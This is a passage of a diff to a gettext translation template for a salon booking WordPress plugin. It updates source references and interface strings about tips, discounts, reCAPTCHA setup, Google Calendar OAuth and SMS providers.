System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_show_tips.php:17\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:433\n+msgid \"Tips\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:144, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:144, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:144, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:144, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:144, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:144\n-msgid \"Feedback submitted\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FApplyTipsAmount.php:15\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FApplyTipsAmount.php:15\n+msgid \"Tips amount is missing\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:145, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:145, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:145, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:145, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:145, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:145\n-msgid \"Leave a feedback\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_documentation.php:25\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:25\n+msgid \"Tips and suggestions\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:65, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:65, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:65\n-msgid \"Pay\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FApplyTipsAmount.php:27\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FApplyTipsAmount.php:27\n+msgid \"Tips cannot be negative\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FApplyTipsAmount.php:25\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FApplyTipsAmount.php:25\n+msgid \"Tips must be a valid number\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FApplyTipsAmount.php:87\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FApplyTipsAmount.php:87\n+msgid \"Tips was applied\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:84, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:84, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:84, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:84, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:84, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:84\n-msgid \"Booking rescheduled\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:139\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:54\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:572\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:139\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:54\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:572\n+msgid \"To\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:85, views\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:121, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:85, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:121, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:85, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:121, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:85, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:121, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:85, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:121, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:85, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:121\n-msgid \"Reschedule\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:124\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:164\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:158\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:175\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:124\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:164\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:158\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:175\n+msgid \"to\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_profile.php:67, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_profile.php:67, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_profile.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_profile.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_profile.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_profile.php:67\n-msgid \"select an option\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:416\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:416\n+msgid \"To be paid\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_profile.php:92, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_profile.php:92, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_profile.php:92, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_profile.php:92, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_profile.php:92, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_profile.php:92\n-msgid \"Update Profile\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:473\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:473\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:33\n+msgid \"To date.\"\n msgstr \"\"\n \n-#. translators: %1$s will be replaced by the last update date, %2$s will be replaced by the last update time\n-#. translators: %1$s will be replaced by the date last update, %2$s will be replaced by the time last update\n-#: views\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_profile.php:101, src\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:37, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_profile.php:101, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:37, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_profile.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_profile.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_profile.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_profile.php:101, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:37\n-msgid \"Last update on %1$s at %2$s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:154\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:154\n+msgid \"\"\n+\"To enable bot protection: 1) Check \\\"Enable reCAPTCHA Protection\\\" above, 2) \"\n+\"Enter your Site Key and Secret Key, 3) Save settings.\"\n msgstr \"\"\n \n-#: build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Ftranslate-constants.php:2, src\u002FSLN\u002FShortcode\u002FSalon\u002FServicesStep.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Ftranslate-constants.php:2, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Ftranslate-constants.php:2, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Ftranslate-constants.php:2, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FServicesStep.php:72, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FServicesStep.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FServicesStep.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FServicesStep.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FServicesStep.php:72\n-msgid \"What do you need?\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:109\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:109\n+msgid \"\"\n+\"To get the list of your Google Calendar you need to log-in with Google OAuth.\"\n+\" At the moment you are not logged-in.\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:53, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:53, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:53\n-msgid \"Unable to process discount. Please try again.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:493\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:493\n+msgid \"To time.\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:63, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:63, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:63\n-msgid \"Your booking session has expired. Please start a new booking to apply a discount code.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:17\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:17\n+msgid \"\"\n+\"To use all the SMS features you need an active account with Plivo o Twilio \"\n+\"providers. \u003Cbr \u002F>\u003Cbr \u002F>Please read carefully their documentation about how \"\n+\"to properly set the options.\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:86, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:86, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:86, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:86, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:86\n-msgid \"Coupon is not valid\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:39\n+msgid \"\"\n+\"To use this feature you need to generate an OAuth Client ID on Google \"\n+\"Developers Console. Click on \\\"i\\\" icon to get more information on this \"\n+\"feature.\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:104, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:104, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:104, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:66, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:104, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:104\n-msgid \"Coupon was applied\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:64\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:64\n+msgid \"To:\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountIdOnStart.php:24, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountIdOnStart.php:24, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountIdOnStart.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountIdOnStart.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountIdOnStart.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountIdOnStart.php:24\n-msgid \"Discount id is not valid\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:47\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:522\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:47\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:522\n+msgid \"Today\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:31, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:31, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:31, 